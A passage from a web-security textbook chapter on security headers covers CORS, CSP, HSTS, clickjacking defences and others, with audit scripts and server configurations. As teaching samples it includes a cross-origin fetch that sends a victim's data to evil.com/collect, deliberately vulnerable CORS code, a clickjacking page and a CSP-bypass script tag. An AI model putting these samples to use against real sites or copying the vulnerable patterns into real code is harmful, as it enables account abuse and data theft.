Chapter 20: Web Security Headers — The Invisible Shield
"The best lock in the world is useless if you leave the window open." — Anonymous security proverb
Open your browser's developer tools on any website, click the Network tab, and inspect the response headers of any HTTP response. If you see Content-Type, Content-Length, and Server but no CSP, no HSTS, and no X-Frame-Options, that site is a playground for every browser-based attack covered in the last chapter.
Application-level security is one layer. Security headers are another. They tell the browser how to behave — what scripts to run, what frames to allow, whether to enforce HTTPS. Without them, you are relying on your code being perfect, which it will not be. Defense in depth demands both layers.
The Same-Origin Policy: Foundation of Browser Security
Before discussing any headers, you need to understand the rule they all build upon.
The Same-Origin Policy (SOP) is the browser's fundamental security mechanism, implemented in every major browser since the mid-1990s. Two URLs have the same origin if and only if they share the same scheme, host, and port.
| URL | Same origin as https://app.example.com? | Reason |
|---|---|---|
https://app.example.com/page2 | Yes | Path differs only |
http://app.example.com/ | No | Scheme differs (http vs https) |
https://api.example.com/ | No | Host differs (api vs app) |
https://app.example.com:8443/ | No | Port differs (8443 vs 443) |
https://app.example.com:443/ | Yes | 443 is default for HTTPS |
What SOP Prevents
Under SOP, JavaScript running on https://app.example.com cannot:
- Read responses from
https://api.example.comviafetch()orXMLHttpRequest - Access cookies set by
https://other.example.com - Read or manipulate the DOM of an iframe loaded from a different origin
- Access the
localStorageorsessionStorageof another origin
What SOP Allows
SOP is more permissive than many developers realize. Cross-origin requests are usually allowed — it is the responses that are blocked:
<script src="https://cdn.example.com/app.js">— cross-origin script loading is allowed (and the script executes with the embedding page's origin)<img src="https://images.example.com/logo.png">— cross-origin images are loaded<form action="https://api.example.com/submit">— cross-origin form submissions are allowed<link href="https://fonts.example.com/style.css">— cross-origin stylesheets are loaded
graph TD
A[JavaScript on<br/>https://app.example.com] --> B{Request target?}
B -->|Same origin:<br/>https://app.example.com/api| C[Request sent ✓<br/>Response readable ✓]
B -->|Cross origin:<br/>https://api.example.com| D{Request type?}
D -->|Simple: GET/POST<br/>basic headers| E[Request sent ✓<br/>Response blocked by default ✗]
D -->|Non-simple: PUT/DELETE<br/>custom headers| F[Preflight OPTIONS sent first]
F --> G{Server allows?}
G -->|CORS headers present| H[Request sent ✓<br/>Response readable ✓]
G -->|No CORS headers| I[Request blocked ✗]
E --> J{CORS headers?}
J -->|Present| K[Response readable ✓]
J -->|Absent| L[Response blocked ✗]
style C fill:#2ecc71,stroke:#27ae60,color:#fff
style H fill:#2ecc71,stroke:#27ae60,color:#fff
style K fill:#2ecc71,stroke:#27ae60,color:#fff
style I fill:#ff6b6b,stroke:#c0392b,color:#fff
style L fill:#ff6b6b,stroke:#c0392b,color:#fff
The Same-Origin Policy was introduced by Netscape Navigator 2.0 in 1995 as a response to early cross-site attacks. The fundamental insight was that code from one website should not be able to read data from another website. Without SOP, any page you visit could read your email from Gmail, your banking transactions, and your medical records — simply by making requests to those origins and reading the responses.
SOP operates at the **browser level**, not the network level. The server has no knowledge of SOP — it sends the response regardless. The browser receives the response and decides whether to make it available to the requesting JavaScript. This is why SOP cannot protect against server-to-server attacks (like SSRF) — there is no browser in the loop to enforce the policy.
This also means SOP provides no protection against:
- **CSRF attacks**: The browser *sends* the request (including cookies) even cross-origin. SOP only blocks reading the *response*.
- **Cross-origin resource embedding**: Scripts, images, and stylesheets are loaded cross-origin by design.
The browser enforces isolation by default. Every security header discussed in this chapter either strengthens that default isolation or carefully relaxes it when cross-origin communication is genuinely needed.
CORS: Cross-Origin Resource Sharing
The Problem
Modern web applications often need to make API calls across origins. A React app at https://app.example.com needs to fetch data from https://api.example.com. SOP blocks this by default — the fetch request is sent, but the browser prevents JavaScript from reading the response.
How CORS Works
CORS is a protocol where the server tells the browser which cross-origin requests to allow. It is not a security mechanism on the server — it is an instruction to the browser about what to permit.
Simple requests (GET, HEAD, POST with basic content types) include an Origin header automatically:
GET /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
The server responds with a CORS header:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"data": "..."}
The browser checks the Access-Control-Allow-Origin header. If the requesting origin matches, the JavaScript can read the response. If not, the browser blocks access — the response is received but not exposed to JavaScript.
Preflight requests occur for non-simple requests (PUT, DELETE, custom headers, JSON content type). The browser sends an OPTIONS request first to ask permission:
sequenceDiagram
participant Browser as Browser<br/>(app.example.com)
participant API as API Server<br/>(api.example.com)
Note over Browser: PUT request with custom headers → preflight required
Browser->>API: OPTIONS /api/data<br/>Origin: https://app.example.com<br/>Access-Control-Request-Method: PUT<br/>Access-Control-Request-Headers: Authorization, Content-Type
API-->>Browser: 204 No Content<br/>Access-Control-Allow-Origin: https://app.example.com<br/>Access-Control-Allow-Methods: GET, PUT, DELETE<br/>Access-Control-Allow-Headers: Authorization, Content-Type<br/>Access-Control-Max-Age: 86400
Note over Browser: Preflight approved → send actual request
Browser->>API: PUT /api/data<br/>Origin: https://app.example.com<br/>Authorization: Bearer eyJ...<br/>Content-Type: application/json<br/>{"key": "value"}
API-->>Browser: 200 OK<br/>Access-Control-Allow-Origin: https://app.example.com<br/>{"result": "updated"}
Note over Browser: CORS header matches → response exposed to JavaScript
CORS with Credentials
By default, cross-origin requests do not include cookies. To send cookies cross-origin:
Client side:
fetch('https://api.example.com/data', {
credentials: 'include' // Send cookies cross-origin
});
Server side must respond with:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
When Access-Control-Allow-Credentials: true is set, the wildcard * is not allowed for Access-Control-Allow-Origin. The server must echo the specific origin. This is a deliberate browser safety mechanism.
CORS Misconfigurations
The most dangerous CORS misconfiguration is reflecting the `Origin` header directly:
~~~python
# VULNERABLE — reflects any origin, including attacker-controlled domains
@app.after_request
def add_cors(response):
response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
~~~
This allows any website to make authenticated requests to your API and read the responses. An attacker's page at `https://evil.com` can:
~~~javascript
// On evil.com — steal data from victims who visit this page
fetch('https://api.example.com/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(r => r.json())
.then(data => {
// Send victim's private data to attacker
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
~~~
Other dangerous patterns:
# VULNERABLE — regex that matches too broadly
origin = request.headers.get('Origin', '')
if 'example.com' in origin: # Matches evil-example.com, example.com.evil.com
response.headers['Access-Control-Allow-Origin'] = origin
# VULNERABLE — null origin can be spoofed using sandboxed iframes
if origin == 'null':
response.headers['Access-Control-Allow-Origin'] = 'null'
response.headers['Access-Control-Allow-Credentials'] = 'true'
CORS Best Practices
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://staging.example.com',
}
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
response.headers['Access-Control-Allow-Headers'] = 'Authorization, Content-Type'
response.headers['Access-Control-Max-Age'] = '86400'
response.headers['Vary'] = 'Origin' # Critical for caching
return response
Key points:
- Use an explicit set of allowed origins — never reflect the
Originheader - Always include
Vary: Originto prevent cache poisoning (CDNs may cache responses with differentAccess-Control-Allow-Originvalues) - Set
Access-Control-Max-Ageto reduce preflight overhead (86400 = 24 hours) - Only include
Access-Control-Allow-Credentials: trueif you genuinely need cookies cross-origin - For truly public APIs with no authentication,
Access-Control-Allow-Origin: *without credentials is safe
Audit CORS configuration with curl:
~~~bash
# Test CORS for a legitimate origin
curl -sI -H "Origin: https://app.example.com" \
https://api.example.com/data | grep -i access-control
# Test CORS for an attacker-controlled origin
curl -sI -H "Origin: https://evil.com" \
https://api.example.com/data | grep -i access-control
# If this returns Access-Control-Allow-Origin: https://evil.com
# → the server is reflecting origins and is VULNERABLE
# Test with null origin (sandboxed iframe attack)
curl -sI -H "Origin: null" \
https://api.example.com/data | grep -i access-control
# Test preflight
curl -sI -X OPTIONS \
-H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization" \
https://api.example.com/data | grep -i access-control
# Full header dump for analysis
curl -sI https://api.example.com/data
~~~
CSP: Content Security Policy
If CORS controls which other sites can read your data, CSP controls what your own page is allowed to load and execute. It is the most powerful browser security header and the most complex to deploy correctly.
The Problem CSP Solves
Even with output encoding, a single XSS bypass lets an attacker inject a <script> tag or an event handler. CSP adds a second line of defense: even if the attacker injects markup, the browser refuses to execute unauthorized scripts.
CSP Directives — A Complete Breakdown
CSP is delivered as an HTTP header:
Content-Security-Policy: directive1 value1; directive2 value2
graph TD
subgraph "Resource Loading Directives"
A[default-src] --> B[script-src]
A --> C[style-src]
A --> D[img-src]
A --> E[font-src]
A --> F[connect-src]
A --> G[media-src]
A --> H[object-src]
A --> I[frame-src]
A --> J[child-src]
A --> K[worker-src]
A --> L[manifest-src]
end
subgraph "Document Directives"
M[base-uri]
N[sandbox]
end
subgraph "Navigation Directives"
O[form-action]
P[frame-ancestors]
Q[navigate-to]
end
subgraph "Reporting"
R[report-uri]
S[report-to]
end
Note1[If a specific directive is not set,<br/>it falls back to default-src]
style A fill:#3498db,stroke:#2980b9,color:#fff
Core directives explained:
| Directive | Controls | Example |
|---|---|---|
default-src | Fallback for all resource types | 'self' |
script-src | JavaScript sources | 'nonce-abc123' 'strict-dynamic' |
style-src | CSS sources | 'self' 'nonce-abc123' |
img-src | Image sources | 'self' data: https: |
font-src | Font sources | 'self' https://fonts.gstatic.com |
connect-src | Fetch/XHR/WebSocket destinations | 'self' https://api.example.com |
frame-src | iframe sources | 'none' |
object-src | Plugin sources (Flash, Java) | 'none' (always) |
base-uri | Restricts <base> element | 'self' |
form-action | Form submission targets | 'self' |
frame-ancestors | Who can embed this page | 'none' |
report-uri | Where to send violation reports | /csp-report |
Source values:
| Value | Meaning |
|---|---|
'none' | Block everything |
'self' | Same origin only |
'unsafe-inline' | Allow inline scripts/styles (weakens CSP significantly) |
'unsafe-eval' | Allow eval(), setTimeout(string), Function() |
'nonce-<base64>' | Allow elements with matching nonce attribute |
'strict-dynamic' | Trust scripts loaded by already-trusted scripts |
'sha256-<hash>' | Allow specific inline script by hash |
https: | Any HTTPS URL |
*.example.com | Any subdomain of example.com |
data: | Allow data: URIs |
Nonce-Based CSP (Recommended Approach)
Instead of allowlisting domains (which can be bypassed via JSONP endpoints, CDN-hosted libraries, or AngularJS sandbox escapes), use cryptographic nonces:
Content-Security-Policy: script-src 'nonce-4AEemGb0xJptoIGFP3Nd' 'strict-dynamic'
In your HTML, only scripts with the matching nonce execute:
<!-- This RUNS — has the correct nonce -->
<script nonce="4AEemGb0xJptoIGFP3Nd">
console.log("Legitimate script");
</script>
<!-- This is BLOCKED — no nonce -->
<script>
console.log("Injected by attacker via XSS");
</script>
<!-- With strict-dynamic, scripts LOADED by nonced scripts also execute -->
<script nonce="4AEemGb0xJptoIGFP3Nd">
// This dynamically loaded script executes because the parent had a nonce
const s = document.createElement('script');
s.src = 'https://cdn.example.com/app.js';
document.head.appendChild(s);
</script>
The nonce must be cryptographically random and regenerated on every page load:
import secrets
from flask import Flask, make_response, render_template
@app.route('/')
def index():
nonce = secrets.token_urlsafe(24) # 192 bits of entropy
response = make_response(render_template('index.html', csp_nonce=nonce))
response.headers['Content-Security-Policy'] = (
f"default-src 'self'; "
f"script-src 'nonce-{nonce}' 'strict-dynamic'; "
f"style-src 'self' 'nonce-{nonce}'; "
f"img-src 'self' data: https:; "
f"font-src 'self' https://fonts.gstatic.com; "
f"connect-src 'self' https://api.example.com; "
f"object-src 'none'; "
f"base-uri 'self'; "
f"form-action 'self'; "
f"frame-ancestors 'none'; "
f"report-uri /csp-report"
)
return response
**Why domain-based allowlists fail:**
In 2016, Google security researchers published "CSP Is Dead, Long Live CSP!" showing that 95% of real-world CSP policies could be bypassed because they allowlisted domains that hosted JSONP endpoints or script gadgets.
Example bypass: if your CSP includes `script-src cdn.jsdelivr.net`, an attacker can host malicious JavaScript on jsDelivr (it's a public CDN) and load it:
```html
<script src="https://cdn.jsdelivr.net/gh/attacker/evil/payload.js"></script>
This is why 'nonce-...' + 'strict-dynamic' is the recommended approach:
- Nonce: Only scripts you explicitly mark with the nonce can execute
- strict-dynamic: Scripts loaded by nonced scripts inherit trust, so your bundler/loader still works
- Domain allowlists are ignored when
'strict-dynamic'is present, closing the CDN bypass
Hash-based CSP ('sha256-...') is an alternative for static pages where script content never changes, but nonces are more practical for dynamic applications.
### CSP Report-Only Mode
Deploy CSP without breaking your site by using the report-only header first:
```http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-abc123'; report-uri /csp-report
Violations are reported but not enforced. Monitor reports, fix violations, then switch to enforcement.
A CSP violation report (JSON sent via POST to your report-uri):
{
"csp-report": {
"document-uri": "https://app.example.com/dashboard",
"violated-directive": "script-src 'nonce-abc123'",
"blocked-uri": "inline",
"original-policy": "default-src 'self'; script-src 'nonce-abc123'",
"disposition": "report",
"status-code": 200,
"source-file": "https://app.example.com/dashboard",
"line-number": 42,
"column-number": 8
}
}
stateDiagram-v2
[*] --> ReportOnly: Deploy CSP-Report-Only header
ReportOnly --> MonitorReports: Collect violation reports
MonitorReports --> FixViolations: Identify legitimate violations
FixViolations --> AddNonces: Add nonces to inline scripts
AddNonces --> UpdateDirectives: Adjust directives for legitimate resources
UpdateDirectives --> ReportOnly: Re-deploy report-only with fixes
UpdateDirectives --> Enforce: No more false positives
Enforce --> Monitor: Switch to enforcing CSP header
Monitor --> FixViolations: New violations detected
Monitor --> [*]: Stable CSP deployed
note right of ReportOnly: No user impact<br/>violations are only reported
note right of Enforce: Violations are BLOCKED<br/>user may see broken features
A Strong Starter CSP
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' https: data:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
report-uri /csp-report
This policy:
- Starts with
default-src 'none'— block everything by default - Allows scripts only via nonce + strict-dynamic
- Allows styles from same origin and nonce
- Allows images from same origin, HTTPS sources, and data URIs
- Blocks all plugins (
object-src 'none') - Prevents framing (
frame-ancestors 'none') - Restricts base URI and form targets
- Automatically upgrades HTTP resources to HTTPS
What about third-party scripts like analytics, chat widgets, and ad networks? They are the bane of CSP. Every third-party script is a trust extension. If your analytics provider is compromised, they can inject malicious code that your CSP allows. This is exactly what happened in the British Airways breach — Magecart attackers compromised a third-party script that BA's CSP permitted, and stole 380,000 payment cards. Use 'strict-dynamic' with nonces, load third-party scripts through nonced wrappers, and audit your third-party dependencies regularly.
A major e-commerce platform had a CSP that included `script-src *.cloudflare.com`. Seemed reasonable — they used Cloudflare's CDN. But Cloudflare also hosts JSONP-style endpoints that any Cloudflare customer can leverage. An attacker registered a Cloudflare site, created a callback endpoint with malicious JavaScript, and loaded it through a URL that matched `*.cloudflare.com`. The CSP was completely bypassed.
The Google CSP Evaluator tool (csp-evaluator.withgoogle.com) would have flagged this immediately — it checks allowlisted domains against a database of known JSONP endpoints and script gadgets. Domain-based allowlists are fundamentally fragile. Use nonces.
HSTS: HTTP Strict Transport Security
The Problem
Even if your site supports HTTPS, the first request might be over HTTP. A user types example.com in the address bar — the browser sends http://example.com. An attacker performing a man-in-the-middle (MitM) attack on an unsecured WiFi network can:
- Intercept the HTTP request before it is redirected to HTTPS
- Strip the redirect — proxy the site over HTTP to the victim while connecting over HTTPS to the real server
- Capture everything the user types, including credentials
This is called an SSL stripping attack, first demonstrated by Moxie Marlinspike at Black Hat 2009.
The Solution
HSTS tells the browser: "From now on, only connect to this domain over HTTPS. If someone types http://, convert it to https:// before making any network request."
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
| Directive | Meaning |
|---|---|
max-age=31536000 | Remember this policy for 1 year (in seconds) |
includeSubDomains | Apply to all subdomains too |
preload | Signal readiness for the HSTS preload list |
sequenceDiagram
participant User
participant Browser
participant Attacker as Attacker<br/>(MitM)
participant Server
Note over User,Server: WITHOUT HSTS — SSL Stripping Attack
User->>Browser: Types "example.com"
Browser->>Attacker: GET http://example.com/
Note over Attacker: Intercepts HTTP request<br/>Strips HTTPS redirect<br/>Proxies content over HTTP
Attacker->>Server: GET https://example.com/
Server-->>Attacker: 200 OK (HTTPS page content)
Attacker-->>Browser: 200 OK (served over HTTP)
Browser-->>User: Page loads over HTTP — no padlock
User->>Browser: Enters password
Browser->>Attacker: POST http://example.com/login (cleartext!)
Note over Attacker: Captures credentials
Note over User,Server: WITH HSTS — Attack Prevented
User->>Browser: Types "example.com"
Note over Browser: HSTS policy cached for example.com<br/>Internal 307 redirect to https://
Browser->>Server: GET https://example.com/
Note over Browser: HTTPS from the start — attacker cannot intercept
Server-->>Browser: 200 OK + Strict-Transport-Security header
Browser-->>User: Secure page loads with padlock
The HSTS Preload List
The first-ever visit to a domain is still vulnerable — the browser hasn't seen the HSTS header yet. This is called the Trust On First Use (TOFU) problem.
The HSTS preload list solves this — it is a list of domains hardcoded into browsers that should always use HTTPS. Chrome maintains the canonical list, and other browsers (Firefox, Safari, Edge) derive from it.
To qualify for preloading:
- Serve a valid HTTPS certificate
- Redirect from HTTP to HTTPS on the same host
- Serve HSTS on the HTTPS response with
max-ageof at least 1 year,includeSubDomains, andpreload - Submit at https://hstspreload.org
HSTS preloading is **difficult to reverse**. Once your domain is in the preload list (shipped in Chrome, Firefox, Safari, Edge), removing it requires submitting a removal request and waiting for a browser release cycle — potentially 3-6 months or more. During that time, any subdomain without HTTPS becomes completely unreachable.
Before enabling `includeSubDomains`:
- Audit every subdomain: `internal.example.com`, `staging.example.com`, `legacy.example.com`
- Ensure ALL of them support HTTPS with valid certificates
- A forgotten `http://intranet.example.com` will become unreachable
- Certificate renewal failures become total outages, not just warnings
Start with a short `max-age` (e.g., 300 seconds / 5 minutes) to test. Then increase to 604800 (1 week), then 2592000 (30 days), and finally 31536000 (1 year) before adding `preload`.
Check HSTS configuration:
~~~bash
# Check if a site sends HSTS
curl -sI https://example.com/ | grep -i strict-transport-security
# Expected good output:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Check preload status
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" \
| python3 -m json.tool
# Test the HTTP → HTTPS redirect
curl -sI http://example.com/ | head -5
# Should see: HTTP/1.1 301 Moved Permanently
# Location: https://example.com/
# Verify certificate validity
openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
| openssl x509 -noout -dates
~~~
X-Frame-Options and Clickjacking
The Attack
Clickjacking (UI redressing) loads your site in an invisible iframe layered over an attacker-controlled page. The victim thinks they're clicking a button on the attacker's page, but they're actually clicking a button on your site — with their authenticated session.
graph TD
subgraph "What the victim sees"
A[Attacker's Page]
B["Click here to win a prize!"]
C["[ CLAIM PRIZE ]"]
end
subgraph "What actually exists (invisible)"
D["Your site in iframe<br/>(opacity: 0, z-index: 999)"]
E["[ DELETE ACCOUNT ]<br/>(positioned over CLAIM PRIZE)"]
end
C -.->|"Victim clicks<br/>'CLAIM PRIZE'"| E
E -->|"Actually clicks<br/>'DELETE ACCOUNT'<br/>with victim's session"| F[Account deleted]
style D fill:#ff6b6b,stroke:#c0392b,color:#fff
style E fill:#ff6b6b,stroke:#c0392b,color:#fff
style F fill:#ff6b6b,stroke:#c0392b,color:#fff
Attacker's HTML:
<html>
<head><title>You Won!</title></head>
<body>
<h1>Congratulations! Click below to claim your prize!</h1>
<button style="font-size: 24px; padding: 20px;">CLAIM PRIZE</button>
<!-- Your site loaded in an invisible iframe, positioned over the button -->
<iframe src="https://example.com/settings/delete-account"
style="position: absolute; top: 0; left: 0; width: 100%; height: 100%;
opacity: 0; z-index: 999;">
</iframe>
</body>
</html>
The Defense
X-Frame-Options (legacy but widely supported):
X-Frame-Options: DENY
| Value | Meaning |
|---|---|
DENY | Cannot be framed by anyone |
SAMEORIGIN | Can only be framed by same-origin pages |
ALLOW-FROM uri | Deprecated — inconsistent browser support |
CSP frame-ancestors (modern replacement, more flexible):
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com
Use both headers for backward compatibility:
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
X-Content-Type-Options
MIME Sniffing Attacks
Browsers historically tried to be "helpful" by guessing content types. If a server sent a file as text/plain but it contained <script>alert(1)</script>, the browser might render it as HTML — executing the embedded script.
Attack scenario:
- Attacker uploads a file containing JavaScript disguised as an image
- Server stores it and serves it as
text/plainor without a Content-Type - Browser sniffs the content, determines it looks like HTML
- Browser renders the HTML, executing the attacker's script in the context of your domain
The Fix
X-Content-Type-Options: nosniff
This single header tells the browser: "Trust the Content-Type I send. Do not guess." The browser will:
- Refuse to execute a script served with a non-script MIME type
- Refuse to apply a stylesheet served with a non-CSS MIME type
Always pair with accurate Content-Type headers:
Content-Type: application/json
X-Content-Type-Options: nosniff
Referrer-Policy
The Problem
When a user clicks a link from your page to another site, the browser sends a Referer header containing the URL they came from. This can leak sensitive information:
Referer: https://app.example.com/patient/12345/records?diagnosis=cancer
The full URL — including path, query parameters, and potentially sensitive data — is sent to the destination server.
Referrer-Policy Values
| Policy | Same-origin request | Cross-origin (HTTPS→HTTPS) | Downgrade (HTTPS→HTTP) |
|---|---|---|---|
no-referrer | Nothing | Nothing | Nothing |
origin | Origin only | Origin only | Origin only |
same-origin | Full URL | Nothing | Nothing |
strict-origin | Origin only | Origin only | Nothing |
strict-origin-when-cross-origin | Full URL | Origin only | Nothing |
no-referrer-when-downgrade | Full URL | Full URL | Nothing |
unsafe-url | Full URL | Full URL | Full URL |
Recommended for most sites:
Referrer-Policy: strict-origin-when-cross-origin
For sensitive applications (healthcare, finance):
Referrer-Policy: no-referrer
Permissions-Policy (formerly Feature-Policy)
Permissions-Policy controls which browser features your page can use. This limits the damage from XSS or compromised third-party scripts.
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self), usb=()
| Directive | Controls |
|---|---|
camera=() | Disables camera access |
microphone=() | Disables microphone access |
geolocation=() | Disables geolocation API |
payment=(self) | Allows payment API only from same origin |
usb=() | Disables WebUSB |
fullscreen=(self) | Allows fullscreen only from same origin |
autoplay=() | Disables video/audio autoplay |
Why would an e-commerce site need to restrict camera access? Because if an attacker injects a script via XSS, that script has access to every browser API the page allows. Without Permissions-Policy, an injected script could silently access the user's camera or microphone. With it, the browser blocks the API call regardless of what the script requests. This is defense in depth applied to browser APIs.
A social media app had no Permissions-Policy. A compromised third-party analytics script used the Web Bluetooth API to scan for nearby Bluetooth devices and sent the device names to an external server. The data was used to build a physical proximity graph of users — who was near whom, when, and where. The fix was two lines of header configuration, but the data had already been exfiltrated for three months before anyone noticed.
Other Important Headers
Cache-Control for Sensitive Pages
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
Prevents browsers and proxies from caching sensitive pages. Without this, a shared computer might display a previous user's authenticated page from the browser cache.
Cross-Origin Opener Policy (COOP)
Cross-Origin-Opener-Policy: same-origin
Prevents other windows from getting a reference to your window via window.opener. Mitigates:
- Tab-nabbing: A linked page uses
window.opener.location = 'https://phishing.com'to redirect the original tab to a phishing page - Spectre-style attacks: Cross-origin windows cannot share a browsing context group, preventing side-channel attacks
Cross-Origin Embedder Policy (COEP)
Cross-Origin-Embedder-Policy: require-corp
Requires all cross-origin resources to explicitly opt into being loaded (via CORS or Cross-Origin-Resource-Policy). Combined with COOP, enables powerful APIs like SharedArrayBuffer safely.
Cross-Origin Resource Policy (CORP)
Cross-Origin-Resource-Policy: same-origin
Prevents other sites from including your resources. Stops speculative execution attacks (like Spectre) from reading your resources cross-origin.
Auditing Security Headers
Complete Header Audit with curl
#!/bin/bash
# security-headers-audit.sh
# Usage: ./security-headers-audit.sh https://example.com
URL="$1"
echo "=== Security Headers Audit for $URL ==="
echo ""
HEADERS=$(curl -sI "$URL" 2>/dev/null)
check_header() {
local header="$1"
local value=$(echo "$HEADERS" | grep -i "^$header:" | head -1 | tr -d '\r')
if [ -n "$value" ]; then
echo "[PASS] $value"
else
echo "[FAIL] $header: NOT SET"
fi
}
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Frame-Options"
check_header "X-Content-Type-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
echo ""
echo "=== Additional Checks ==="
# Check for information leakage
SERVER=$(echo "$HEADERS" | grep -i "^server:" | head -1 | tr -d '\r')
if [ -n "$SERVER" ]; then
echo "[INFO] $SERVER (consider removing version details)"
fi
POWERED=$(echo "$HEADERS" | grep -i "^x-powered-by:" | head -1 | tr -d '\r')
if [ -n "$POWERED" ]; then
echo "[WARN] $POWERED (remove this header — it aids attackers)"
fi
echo ""
echo "=== Full Response Headers ==="
echo "$HEADERS"
Real curl output from a well-configured site:
$ curl -sI https://github.com
HTTP/2 200
server: GitHub.com
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'; base-uri 'self'; ...
permissions-policy: interest-cohort=()
~~~bash
# Audit your own site
curl -sI https://your-site.com | grep -iE \
'(strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy)'
# Compare against well-configured sites
for site in github.com facebook.com google.com; do
echo "=== $site ==="
curl -sI "https://$site" | grep -iE \
'(strict-transport|content-security|x-frame|x-content-type|referrer-policy)'
echo ""
done
~~~
Online tools:
- **SecurityHeaders.com** — grades your headers A through F
- **Mozilla Observatory** (observatory.mozilla.org) — comprehensive security scan
- **CSP Evaluator** (csp-evaluator.withgoogle.com) — analyzes CSP for weaknesses
- **Hardenize** (hardenize.com) — tests HSTS, CSP, TLS, and more
Implementation Patterns
Nginx
server {
listen 443 ssl http2;
server_name example.com;
# HSTS — 1 year, include subdomains, preload-ready
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# CSP — for static sites without dynamic nonces
add_header Content-Security-Policy
"default-src 'self'; script-src 'self'; style-src 'self';
img-src 'self' https:; object-src 'none'; frame-ancestors 'none';
base-uri 'self'; form-action 'self'" always;
# Anti-clickjacking
add_header X-Frame-Options "DENY" always;
# MIME sniffing protection
add_header X-Content-Type-Options "nosniff" always;
# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions
add_header Permissions-Policy
"camera=(), microphone=(), geolocation=(), payment=(self)" always;
# Cross-origin isolation
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off; # Removes nginx version from Server header
proxy_hide_header X-Powered-By;
# ...
}
Express.js (using Helmet)
const helmet = require('helmet');
const crypto = require('crypto');
app.use((req, res, next) => {
// Generate nonce per request
res.locals.cspNonce = crypto.randomBytes(24).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'"
],
styleSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`
],
imgSrc: ["'self'", "https:", "data:"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: { action: 'deny' },
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Remove X-Powered-By
app.disable('x-powered-by');
Django
# settings.py
# HSTS
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
# CSP (using django-csp middleware)
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'",)
CSP_IMG_SRC = ("'self'", "https:", "data:")
CSP_OBJECT_SRC = ("'none'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)
CSP_INCLUDE_NONCE_IN = ['script-src', 'style-src']
# Other security headers
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'
SECURE_REFERRER_POLICY = 'strict-origin-when-cross-origin'
# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
Common Pitfalls and Misconfigurations
Here are the mistakes that appear most often in production.
1. CSP with 'unsafe-inline' for scripts:
This defeats the entire purpose of CSP for XSS protection. If you must support inline scripts, use nonces. script-src 'self' 'unsafe-inline' provides almost no XSS protection.
2. HSTS with short max-age:
A max-age=300 (5 minutes) provides almost no protection — an attacker just needs to wait. Use at least 1 year (31536000 seconds).
3. CORS reflecting the Origin header: Instead of an allowlist check, the server echoes whatever Origin is sent. This allows any site to read authenticated responses.
4. Missing always in Nginx add_header:
Without always, Nginx only adds headers for 2xx and 3xx responses. Error pages (404, 500) won't have security headers — and error pages are often where XSS occurs via reflected input in error messages.
5. Headers set only on HTML pages:
